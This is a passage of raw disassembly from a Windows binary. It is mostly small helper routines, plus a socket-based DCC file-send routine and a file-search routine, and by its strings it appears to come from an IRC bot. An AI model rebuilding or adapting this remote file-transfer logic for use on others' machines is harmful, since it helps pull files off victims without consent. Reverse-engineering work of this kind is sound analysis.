ecx add esp, 58h retn 4 ; --------------------------------------------------------------------------- db 90h db 0C0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BC70 proc near ; CODE XREF: sub_401BF4j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_4021CB sub_40BC70 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BCB0 proc near ; CODE XREF: sub_401555j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E mov edx, [esi+4] mov ecx, esi push edx call sub_401FCD sub_40BCB0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD20 proc near ; CODE XREF: sub_401451j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_4020F9 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD20 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BD60 proc near ; CODE XREF: sub_401C71j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_4014A6 mov eax, esi pop esi retn 4 sub_40BD60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BD90 proc near ; CODE XREF: sub_401906j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401C71 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401C49 sub_40BD90 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BDD0 proc near ; CODE XREF: sub_401BEFj var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_401C71 mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_401451 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40124E pop esi add esp, 0Ch retn sub_40BDD0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE20 proc near ; CODE XREF: sub_40153Cj push esi mov esi, ecx call sub_40213A mov eax, esi pop esi retn sub_40BE20 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE40 proc near ; CODE XREF: sub_401F5Aj mov eax, [ecx] push eax call sub_401839 add esp, 4 retn sub_40BE40 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE60 proc near ; CODE XREF: sub_40133Ej push esi mov esi, ecx mov eax, [esi] push eax call sub_4020F9 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_40BE60 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BE90 proc near ; CODE XREF: sub_40136Bj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401CE9 neg al sbb eax, eax inc eax retn 4 sub_40BE90 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BEC0 proc near ; CODE XREF: sub_401C49j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4016A4 mov edi, eax push edi call sub_40213F mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_4021CB sub_40BEC0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_40213F push edi mov [eax], ebx call sub_40213F mov edi, [eax] push edi call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401839 add esp, 4 mov ecx, esi push eax call sub_401F14 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_4014A6 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40BF60 proc near ; CODE XREF: sub_40124Ej var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jz short loc_40BFBA loc_40BF78: ; CODE XREF: sub_40BF60+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_401B86 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_40106E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_40136B test al, al jnz short loc_40BF78 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_40BFBA: ; CODE XREF: sub_40BF60+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_40BF60 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40BFF0 proc near ; CODE XREF: sub_4021CBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_40155F sub_40BFF0 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_40C005 mov edi, esi loc_40C005: ; CODE XREF: ___:0040C001j push esi call sub_4020F9 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40C01A mov edi, esi loc_40C01A: ; CODE XREF: ___:0040C016j push esi call sub_40213F add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C040 proc near ; CODE XREF: sub_401FCDj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_402059 sub_40C040 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C060 proc near ; CODE XREF: sub_4020F9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_40C060 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C080 proc near ; CODE XREF: sub_401839j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_40C080 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0A0 proc near ; CODE XREF: sub_40213Aj mov eax, ecx retn sub_40C0A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0C0 proc near ; CODE XREF: sub_4014A6j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_40105A mov eax, esi pop esi retn 4 sub_40C0C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C0F0 proc near ; CODE XREF: sub_401CE9j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_40C0F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C120 proc near ; CODE XREF: sub_40106Ej var_4 = byte ptr -4 arg_4 = byte ptr 8 push ecx push ebx push esi push edi mov edi, ecx lea eax, [esp+10h+var_4] push 0 push eax lea ecx, [esp+18h+arg_4] call sub_401B86 mov ecx, eax call sub_4016A4 mov esi, eax push esi call sub_4020F9 push esi mov ebx, eax call sub_40213F mov ecx, [eax] push ecx call sub_4020F9 mov edx, [ebx] push esi mov [eax], edx call sub_40213F push esi mov ebx, eax call sub_4020F9 mov eax, [eax] push eax call sub_40213F mov ecx, [ebx] push esi mov [eax], ecx call sub_401839 add esp, 1Ch mov ecx, edi push eax call sub_401221 push esi mov ecx, edi call sub_401FCD sub_40C120 endp ; --------------------------------------------------------------------------- mov eax, [edi+8] mov edx, [esp+18h] dec eax mov [edi+8], eax mov eax, [esp+14h] pop edi pop esi mov [eax], edx pop ebx pop ecx retn 8 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C1E0 proc near ; CODE XREF: sub_40213Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_40C1E0 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C200 proc near ; CODE XREF: sub_40155Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_40C200 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C230 proc near ; CODE XREF: sub_402059j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_4367E2 sub_40C230 endp ; --------------------------------------------------------------------------- pop ecx retn 8 ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C250 proc near ; CODE XREF: sub_401F14j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_4011AE add esp, 8 retn 8 sub_40C250 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C280 proc near ; CODE XREF: sub_40105Aj arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_40C280 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2A0 proc near ; CODE XREF: sub_4016A4j mov eax, [ecx] retn sub_40C2A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2C0 proc near ; CODE XREF: sub_401B86j arg_0 = dword ptr 4 push esi mov esi, [ecx] call sub_40133E mov eax, [esp+4+arg_0] mov [eax], esi pop esi retn 8 sub_40C2C0 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C2F0 proc near ; CODE XREF: sub_401221j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call j_nullsub_2 pop ecx retn 4 sub_40C2F0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C310 proc near ; CODE XREF: sub_4011AEj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40C32B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40C32B: ; CODE XREF: sub_40C310+11j retn sub_40C310 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40C360 proc near ; CODE XREF: sub_401BE5j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40C360 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 4 push 0Eh push 5 push 13h push 4Fh push 3 push 3 lea eax, [esp+48h+var_24] push 4 mov esi, ecx push eax call sub_4019B5 add esp, 28h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_401681 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40C360 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40C400 proc near ; CODE XREF: sub_401712j var_AB4 = dword ptr -0AB4h var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = byte ptr -0A9Ch var_A98 = byte ptr -0A98h var_A94 = dword ptr -0A94h var_A90 = dword ptr -0A90h var_A8C = dword ptr -0A8Ch var_A88 = dword ptr -0A88h var_A84 = dword ptr -0A84h var_A78 = byte ptr -0A78h var_A74 = dword ptr -0A74h var_A70 = byte ptr -0A70h var_A6C = byte ptr -0A6Ch var_A5C = byte ptr -0A5Ch var_A54 = byte ptr -0A54h var_A3C = byte ptr -0A3Ch var_A38 = byte ptr -0A38h var_A24 = byte ptr -0A24h var_A1C = dword ptr -0A1Ch var_A18 = dword ptr -0A18h var_910 = byte ptr -910h var_710 = byte ptr -710h var_510 = byte ptr -510h var_40C = byte ptr -40Ch var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40C400 push eax mov large fs:0, esp sub esp, 0AA0h add ecx, 4 push ebx push ebp push esi push edi call sub_4014D3 mov ebp, [esp+0ABCh+arg_0] push eax lea ecx, [ebp+7Eh] call sub_4012EE test eax, eax jnz loc_40C94E lea ecx, [esp+0ABCh+var_A78] call sub_401091 push 1 push offset asc_443600 ; " " lea eax, [esp+0AC4h+var_A3C] xor esi, esi push 1 push eax mov ecx, ebp mov [esp+0ACCh+var_4], esi call sub_4011EA push eax lea ecx, [esp+0AC0h+var_A70] mov byte ptr [esp+0AC0h+var_4], 1 call sub_40200E lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 push esi push 1 push 2 mov [esp+0AC8h+var_AA8], esi mov [esp+0AC8h+var_AA4], esi mov [esp+0AC8h+var_A90], esi nop call near ptr 71AB3B91h mov ebx, eax cmp ebx, 0FFFFFFFFh mov [esp+0ABCh+var_AAC], ebx jnz short loc_40C4CC lea ecx, [esp+0ABCh+var_710] push offset aDccFailedToCre ; "[DCC]: Failed to create socket." push ecx call sub_5EDAB2 nop add esp, 8 jmp loc_40C8F5 ; --------------------------------------------------------------------------- loc_40C4CC: ; CODE XREF: sub_40C400+AFj xor edx, edx push esi mov [esp+0AC0h+var_AA0], edx mov word ptr [esp+0AC0h+var_AA0], 2 mov dword ptr [esp+0AC0h+var_A9C], edx mov dword ptr [esp+0AC0h+var_A98], edx mov [esp+0AC0h+var_A94], edx nop call near ptr 71AB2B66h mov word ptr [esp+0ABCh+var_AA0+2], ax lea eax, [esp+0ABCh+var_AA0] push 10h push eax push ebx mov dword ptr [esp+0AC8h+var_A9C], esi nop call near ptr 71AB3E00h test eax, eax jz short loc_40C51A lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToBin ; "dcc: failed to bind socket" jmp loc_40C5C0 ; --------------------------------------------------------------------------- loc_40C51A: ; CODE XREF: sub_40C400+105j lea eax, [esp+0ABCh+var_A88] lea ecx, [esp+0ABCh+var_AA0] push eax push ecx push ebx mov [esp+0AC8h+var_A88], 10h nop call near ptr 71AB951Eh mov edx, [esp+0ABCh+var_AA0+2] push edx call near ptr 71AB2B66h nop lea ecx, [esp+0ABCh+var_A70] mov [esp+0ABCh+var_A8C], eax call sub_4014D3 mov edi, eax or ecx, 0FFFFFFFFh xor eax, eax lea edx, [esp+0ABCh+var_910] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 xor edx, edx rep movsb loc_40C573: ; CODE XREF: sub_40C400+1A3j mov al, [esp+edx+0ABCh+var_910] cmp al, 20h jnz short loc_40C585 mov eax, 5Fh jmp short loc_40C588 ; --------------------------------------------------------------------------- loc_40C585: ; CODE XREF: sub_40C400+17Cj movsx eax, al loc_40C588: ; CODE XREF: sub_40C400+183j mov [esp+edx+0ABCh+var_510], al lea edi, [esp+0ABCh+var_910] or ecx, 0FFFFFFFFh xor eax, eax inc edx repne scasb not ecx dec ecx cmp edx, ecx jbe short loc_40C573 push 1 push ebx nop call near ptr 71AB88D3h test eax, eax jz short loc_40C5DD lea ecx, [ebp+69h] call sub_4014D3 push eax push offset aDccFailedToOpe ; "dcc: failed to open socket" loc_40C5C0: ; CODE XREF: sub_40C400+115j mov cl, [ebp+94h] mov dl, [ebp+93h] push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C5DD: ; CODE XREF: sub_40C400+1B0j push 0 push 0 push 3 push 0 push 1 push 80000000h lea ecx, [esp+0AD4h+var_A70] call sub_4017E4 push eax nop call near ptr 2840000h mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_40C644 lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccFileDoesnTE ; "dcc: file doesn't exist" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 lea edx, [esp+0ABCh+var_710] push offset aDccFileDoesn_0 ; "[DCC]: File doesn't exist." push edx nop call sub_5EDAB2 add esp, 8 jmp loc_40C8EF ; --------------------------------------------------------------------------- loc_40C644: ; CODE XREF: sub_40C400+201j push 0 push esi call near ptr 2830B0Eh nop lea ecx, [esp+0ABCh+var_A54] mov ebx, eax call sub_401424 mov eax, [esp+0ABCh+var_A8C] push ebx and eax, 0FFFFh mov byte ptr [esp+0AC0h+var_4], 2 push eax mov eax, dword_4D60CD push eax call sub_401DF7 add esp, 4 push eax nop call near ptr 71AB2BF4h push eax nop call near ptr 71AB2BC0h push eax lea ecx, [esp+0AD0h+var_A78] call sub_4017E4 push eax lea ecx, [esp+0AD4h+var_A5C] push offset dword_443A30 push ecx call sub_40102D add esp, 18h lea ecx, [ebp+15h] call sub_401681 push eax lea ecx, [esp+0AC8h+var_A5C] call sub_4014D3 mov dl, [ebp+94h] push eax mov al, [ebp+93h] push edx push eax mov ecx, offset byte_4D60B5 call sub_401118 mov edi, [esp+0AC4h+var_AB4] lea ecx, [esp+0AC4h+var_A88] push ecx push 0 lea edx, [esp+0ACCh+var_A1C] push 0 push edx push 0 mov [esp+0AD8h+var_A88], 3Ch mov [esp+0AD8h+var_A84], 0 mov [esp+0AD8h+var_A18], edi mov [esp+0AD8h+var_A1C], 1 nop call near ptr 71AB2DC0h test eax, eax jg short loc_40C73D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+93h] push eax mov al, [ebp+94h] push offset aDccTimeout ; "dcc: timeout" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C73D: ; CODE XREF: sub_40C400+310j lea edx, [esp+0ABCh+var_A84] lea eax, [esp+0ABCh+var_A24] push edx push eax push edi mov [esp+0AC8h+var_A84], 10h nop call near ptr 71AC1028h cmp eax, 0FFFFFFFFh mov [esp+0ABCh+var_A74], eax jnz short loc_40C78D lea ecx, [ebp+69h] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push offset aDccUnableToOpe ; "dcc: unable to open socket" push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 jmp loc_40C8DA ; --------------------------------------------------------------------------- loc_40C78D: ; CODE XREF: sub_40C400+360j push edi nop call near ptr 71AB9639h test ebx, ebx jz loc_40C845 loc_40C79C: ; CODE XREF: sub_40C400+438j mov ebp, 400h cmp ebx, ebp jge short loc_40C7A7 mov ebp, ebx loc_40C7A7: ; CODE XREF: sub_40C400+3A3j mov edx, ebx xor eax, eax neg edx push 2 mov ecx, 100h lea edi, [esp+0AC0h+var_40C] push eax push edx push esi rep stosd nop call near ptr 2830000h lea eax, [esp+0ABCh+var_A90] push 0 push eax lea ecx, [esp+0AC4h+var_40C] push ebp push ecx push esi call near ptr 2820B76h nop mov eax, [esp+0ABCh+var_A74] push 0 lea edx, [esp+0AC0h+var_40C] push ebp push edx push eax nop call near ptr 71AB428Ah mov ecx, [esp+0ABCh+var_AA8] mov ebp, [esp+0ABCh+var_AA4] mov edi, eax push 0 cdq add ecx, eax push 400h mov [esp+0AC4h+var_AA8], ecx lea ecx, [esp+0AC4h+var_40C] adc ebp, edx mov edx, [esp+0AC4h+var_A74] push ecx push edx mov [esp+0ACCh+var_AA4], ebp call near ptr 71AB615Ah nop cmp eax, 1 jl loc_40C90E cmp edi, 1 jl loc_40C90E sub ebx, edi jnz loc_40C79C mov ebp, [esp+0ABCh+arg_0] loc_40C845: ; CODE XREF: sub_40C400+396j push esi nop call near ptr 282071Eh lea ecx, [esp+0AB8h+var_A38] call sub_401424 mov eax, [esp+0AB8h+var_AA0] mov ecx, [esp+0AB8h+var_AA4] push eax push ecx lea ecx, [esp+0AC0h+var_A6C] mov byte ptr [esp+0AC0h], 3 call sub_4014D3 mov edx, [esp+0AC0h+var_A1C] push eax push edx nop call near ptr 71AB3F41h push eax lea eax, [esp+0ACCh+var_A3C] push offset aDccCompleteToS ; "dcc: complete to %s, file: %s, (%d byte"... push eax call sub_40102D add esp, 18h lea ecx, [ebp+69h] call sub_4014D3 push eax lea ecx, [esp+0AC0h+var_A3C] call sub_4014D3 mov cl, [ebp+94h] mov dl, [ebp+93h] push eax push ecx push edx mov ecx, offset byte_4D60B5 call sub_401118 lea ecx, [esp+0ABCh+var_A3C] mov byte ptr [esp+0ABCh+var_4], 2 call sub_401226 loc_40C8DA: ; CODE XREF: sub_40C400+338j ; sub_40C400+388j lea ecx, [esp+0ABCh+var_A54] mov byte ptr [esp+0ABCh+var_4], 0 call sub_401226 mov ebx, [esp+0ABCh+var_AAC] loc_40C8EF: ; CODE XREF: sub_40C400+1D8j ; sub_40C400+23Fj xor esi, esi cmp ebx, esi jbe short loc_40C8FC loc_40C8F5: ; CODE XREF: sub_40C400+C7j push ebx nop call near ptr 71AB9639h loc_40C8FC: ; CODE XREF: sub_40C400+4F3j mov eax, [esp+0ABCh+var_A74] push eax nop call near ptr 71AB9639h push esi nop call near ptr 2820000h loc_40C90E: ; CODE XREF: sub_40C400+427j ; sub_40C400+430j mov esi, [esp+0ABCh+arg_0] lea ecx, [esi+69h] call sub_4014D3 mov cl, [esi+93h] push eax mov al, [esi+94h] push offset aDccSocketError ; "dcc: socket error" push eax push ecx mov ecx, offset byte_4D60B5 call sub_401118 mov edx, [esp+0ABCh+var_A74] push edx nop call near ptr 71AB9639h push 1 nop call near ptr 2820000h loc_40C94E: ; CODE XREF: sub_40C400+39j mov ecx, [esp+0ABCh+var_C] pop edi pop esi pop ebp xor al, al pop ebx mov large fs:0, ecx add esp, 0AACh retn 4 sub_40C400 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 160h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CAD0 proc near ; CODE XREF: sub_401091j push esi mov esi, ecx lea ecx, [esi+8] call sub_401424 mov eax, esi pop esi retn sub_40CAD0 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_40CAF0: ; CODE XREF: ___:loc_401AFFj add ecx, 8 jmp sub_401226 ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_40CB10 proc near ; CODE XREF: sub_402045j var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_40CB10 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 18h push esi push 0 push 5 push 0Ch push 9 lea eax, [esp+38h+var_24] push 6 mov esi, ecx push eax call sub_4019B5 add esp, 18h push esi mov ecx, eax mov [esp+2Ch+var_4], 0 call sub_4017E4 add esi, 4 push eax push esi mov ecx, offset dword_447158 call sub_401591 sub_40CB10 endp ; --------------------------------------------------------------------------- lea ecx, [esp+4] mov dword ptr [esp+24h], 0FFFFFFFFh call sub_401226 mov ecx, [esp+1Ch] pop esi mov large fs:0, ecx add esp, 24h retn ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_40CBB0 proc near ; CODE XREF: sub_401BA4j var_279 = byte ptr -279h var_278 = byte ptr -278h var_260 = dword ptr -260h var_25C = dword ptr -25Ch var_258 = byte ptr -258h var_247 = byte ptr -247h var_232 = byte ptr -232h var_221 = dword ptr -221h var_21D = dword ptr -21Dh var_219 = dword ptr -219h var_215 = dword ptr -215h var_211 = dword ptr -211h var_20C = byte ptr -20Ch var_208 = byte ptr -208h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_40CBB0 push eax mov large fs:0, esp sub esp, 270h add ecx, 4 push esi call sub_4014D3 mov esi, [esp+280h+arg_0] push eax lea ecx, [esi+7Eh] call sub_4012EE test eax, eax jnz loc_40CDAE push ebx lea ecx, [esp+284h+var_260] call sub_40198D lea eax, [esi+2Ah] xor ebx, ebx push eax lea ecx, [esp+288h+var_25C] mov [esp+288h+var_4], ebx mov [esp+288h+var_260], ebx call sub_40200E push 1 push offset asc_443600 ; " " lea ecx, [esp+28Ch+var_278] push 2 push ecx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+288h+var_247] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 push 1 push offset asc_443600 ; " " lea edx, [esp+28Ch+var_278] push 3 push edx mov ecx, esi call sub_4011EA mov ecx, eax mov byte ptr [esp+284h+var_4], 2 call sub_4017E4 push eax lea ecx, [esp+288h+var_232] call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 mov edx, [esp+284h+var_221] xor eax, eax mov al, [esi+94h] xor ecx, ecx mov cl, [esi+93h] mov [esp+284h+var_219], eax lea eax, [esp+284h+var_278] mov [esp+284h+var_215], ecx push edx push eax lea ecx, [esp+28Ch+var_232] mov [esp+28Ch+var_21D], ebx mov [esp+28Ch+var_211], 1 call sub_401E2E push offset asc_443B04 ; "\\" mov ecx, eax mov byte ptr [esp+288h+var_4], 3 call sub_4012EE test eax, eax lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl setz [esp+284h+var_279] call sub_401226 cmp [esp+284h+var_279], bl jz short loc_40CD2B mov ecx, [esp+284h+var_221] lea edx, [esp+284h+var_278] push ecx push edx lea ecx, [esp+28Ch+var_232] call sub_401E2E push offset dword_446F74 mov ecx, eax mov byte ptr [esp+288h+var_4], 4 call sub_401A87 lea ecx, [esp+284h+var_278] mov byte ptr [esp+284h+var_4], bl call sub_401226 loc_40CD2B: ; CODE XREF: sub_40CBB0+142j push ebx lea ecx, [esp+288h+var_232] call sub_4014D3 push eax lea ecx, [esp+28Ch+var_247] call sub_4014D3 push eax mov eax, [esp+290h+var_219] push eax lea ecx, [esp+294h+var_25C] call sub_401681 mov ecx, [esp+294h+var_260] push eax push ecx call sub_402257 add esp, 18h lea edx, [esp+284h+var_20C] push eax push offset aFilesFoundD ; "Files Found: %d" push edx nop call sub_5EDAB2 mov eax, [esp+28Ch+var_211] add esp, 0Ch cmp eax, ebx jnz short loc_40CD99 mov eax, [esp+280h+var_215] lea ecx, [esp+280h+var_208] push eax push ecx lea ecx, [esp+288h+var_258] call sub_401681 mov edx, [esp+288h+var_25C] push eax push edx call sub_401523 add esp, 10h loc_40CD99: ; CODE XREF: sub_40CBB0+1C6j mov eax, [esp+280h+var_219] push eax call sub_401E24 add 